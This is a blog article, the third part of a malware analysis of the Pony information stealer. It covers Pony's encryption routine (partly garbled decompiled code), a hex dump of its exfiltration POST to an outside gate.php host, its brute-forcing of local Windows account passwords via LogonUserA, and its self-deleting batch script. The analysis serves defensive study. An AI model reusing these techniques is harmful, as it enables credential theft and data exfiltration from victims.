A Case Study of Information Stealers: Part III

Souhail Hammou
March 4, 2016 by
Souhail Hammou

Introduction :

In this third and last part of the series on Pony Stealer, we're going to start where we left off last time: the encryption algorithm. After that, we'll take a look at how Pony sends the encrypted info to the server and then conclude with the clean-up work that the malware does.

Encrypting the stolen data:

Using the buffer created in the decompiled function we've seen in the second part, the stream is encrypted by calling the following function:

Earn two pentesting certifications at once!

Earn two pentesting certifications at once!

Enroll in one boot camp to earn both your Certified Ethical Hacker (CEH) and CompTIA PenTest+ certifications — backed with an Exam Pass Guarantee.


VOID Encrypt(UCHAR* key but,UCHAR* data,int datalen)


int ibuf = 0;




ebp_1 = keybuf[ibuf];

ebp_4 += ebp_1;

ebp_2 = keybuf[ebp_4];

keybuf[ebp_3] = ebp_2;

keybuf[ebp_4] = ebp_1;

data[i] ^= keybuf[ebp_1+ebp_2];



Upon receiving the data, the server can easily decrypt it by calling the same two functions. Now after the stream is encrypted, its header is set to CRYPTED0.

After that, the stream data is encrypted again using the same method we've just seen.

Sending the stolen information:

At this stage, the stolen information are ready to be sent to the server. The information is sent to domain_name/panel/gate.php in a POST request, and then the online service apparently decrypts the data and shows it to the attacker.

Here's a hex dump of the request that is being sent to the server:

0029EED8 50 4F 53 54|20 2F 53 75|72 65 2F 70|61 6E 65 6C|     POST /Sure/panel

0029EEE8 2F 2F 67 61|74 65 2E 70|68 70 20 48|54 54 50 2F|     //gate.php HTTP/

0029EEF8 31 2E 30 0D|0A 48 6F 73|74 3A 20 68|65 72 69 74|     1.0

Host: herit

0029EF08 61 67 65 69|62 6E 2E 63|6F 6D 0D 0A|41 63 63 65|     ageibn.com


0029EF18 70 74 3A 20|2A 2F 2A 0D|0A 41 63 63|65 70 74 2D|     pt: */*


0029EF28 45 6E 63 6F|64 69 6E 67|3A 20 69 64|65 6E 74 69|     Encoding: identi

0029EF38 74 79 2C 20|2A 3B 71 3D|30 0D 0A 41|63 63 65 70|     ty, *;q=0


0029EF48 74 2D 4C 61|6E 67 75 61|67 65 3A 20|65 6E 2D 55|     t-Language: en-U

0029EF58 53 0D 0A 43|6F 6E 74 65|6E 74 2D 4C|65 6E 67 74|     S


0029EF68 68 3A 20 31|38 30 0D 0A|43 6F 6E 74|65 6E 74 2D|     h: 180


0029EF78 54 79 70 65|3A 20 61 70|70 6C 69 63|61 74 69 6F|     Type: applicatio

0029EF88 6E 2F 6F 63|74 65 74 2D|73 74 72 65|61 6D 0D 0A|     n/octet-stream

0029EF98 43 6F 6E 6E|65 63 74 69|6F 6E 3A 20|63 6C 6F 73|     Connection: clos

0029EFA8 65 0D 0A 43|6F 6E 74 65|6E 74 2D 45|6E 63 6F 64|     e


0029EFB8 69 6E 67 3A|20 62 69 6E|61 72 79 0D|0A 55 73 65|     ing: binary


0029EFC8 72 2D 41 67|65 6E 74 3A|20 4D 6F 7A|69 6C 6C 61|     r-Agent: Mozilla

0029EFD8 2F 34 2E 30|20 28 63 6F|6D 70 61 74|69 62 6C 65|     /4.0 (compatible

0029EFE8 3B 20 4D 53|49 45 20 37|2E 30 3B 20|57 69 6E 64|     ; MSIE 7.0; Wind

0029EFF8 6F 77 73 20|4E 54 20 36|2E 31 3B 20|54 72 69 64|     ows NT 6.1; Trid

0029F008 65 6E 74 2F|34 2E 30 3B|20 53 4C 43|43 32 3B 20|     ent/4.0; SLCC2;

0029F018 2E 4E 45 54|20 43 4C 52|20 32 2E 30|2E 35 30 37|     .NET CLR 2.0.507

0029F028 32 37 3B 20|2E 4E 45 54|20 43 4C 52|20 33 2E 35|     27; .NET CLR 3.5

0029F038 2E 33 30 37|32 39 3B 20|2E 4E 45 54|20 43 4C 52|     .30729; .NET CLR

0029F048 20 33 2E 30|2E 33 30 37|32 39 3B 20|4D 65 64 69|    3.0.30729; Medi

0029F058 61 20 43 65|6E 74 65 72|20 50 43 20|36 2E 30 29|     a Center PC 6.0)

0029F068 0D 0A 0D 0A|00

After the header is sent successfully, Pony sends the encrypted stolen data to the server. And finally, the data stream storing the encrypted data is freed.

Stealing the local machine's login credentials:

It's not evident why the malware authors chose to perform this task separately. They could have included a function responsible for stealing the local machine's accounts' credentials in the callback table, thus communicate with the server only once. Instead, they chose to do it afterwards and again compress, encrypt then send each account's credentials separately.

Pony starts by modifying the privilege token by adding the following privileges:

  • SeImpersonatePrivilege
  • SeTcbPrivilege
  • SeChangeNotifyPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeIncreaseQuotaPrivilege
  • SeAssignPrimaryTokenPrivilege

These privileges are added one by one to the token by:

  1. Calling LookupPrivilegeValueA to look up the LUID of the privilege.
  2. Calling OpenProcessToken with TOKEN_ADJUST_PRIVILEGES for the current process.
  3. Calling AdjustTokenPrivileges to finally add the privilege to the process token.

The token must be modified so that the current thread can be able to impersonate another user's account.

The next step consists of retrieving all the users (user names) on the machine; this is done by calling the NetUserEnum API ( In my case the users were: "Administrator" and "Guest" ). Subsequently, Pony starts bruteforcing, using a wordlist, the passwords for the accounts. This process is described below:

  • In my case, the sample starts by bruteforcing the password for the Guest account first.
  • First, it tries to login without providing any password using the LogonUserA API.
  • If the last step failed, it provides the username in lowercase as a password to the same API.
  • If the previous attempt hasn't succeeded, Pony uses a wordlist (stored at 00417F27) that was decrypted in memory before it even started to steal information (Please refer to the first part of this series). The sample iterates through each word and provides it as a password to the LogonUserA API.
  • If the call to LogonUserA succeeded, meaning that the password is correct. The stealer encrypts the username and password the same way it did previously and then send them to the server.
  • Now whether the call to LogonUserA succeeded or failed, the sample moves to the next account and repeats the same steps.


One last function is called (004108C9) which purpose is to delete the malware from disk. Here's how the auto-deletion is performed:

  • A random .bat filename is generated. e.g : 72022703.bat
  • The full path to the sample's executable file is located using the GetModuleFileName API.
  • The function then gets the path to the Temp folder using the GetTempPathA API. e.g : C:UsersmeAppDataLocalTemp
  • It then writes the following batch script to the file:


    del %1

    if exist %1 goto ktk

    del %0

  • Load shell32.dll, GetProcAddress to get the address of ShellExecuteA then call it with the following arguments.
  • Subsequently, shell32.dll is loaded, and GetProcAddress is used to get the address of ShellExecuteA API. The API is then called in the following fashion:


    FREE role-guided training plans

    FREE role-guided training plans

    Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

    As you can see, the path to the malware's executable is passed to the batch script as an argument, and what the script does is simply delete it. The computer is now clean again, except that the user's information have been stolen.


In this series, we took a detailed look at Pony information stealer and demystified how it steals personal information, encrypts it and then how it sends it to a remote server. However, there is no reason to generalize that each and every information stealer works this way. As the title of this series implies; this analysis isn't but an example of information stealers that we can find "out there".

Souhail Hammou
Souhail Hammou

Souhail Hammou is a Moroccan reverse engineering enthusiast who likes to spend most of his time exploring Windows Internals and playing in CTF contests.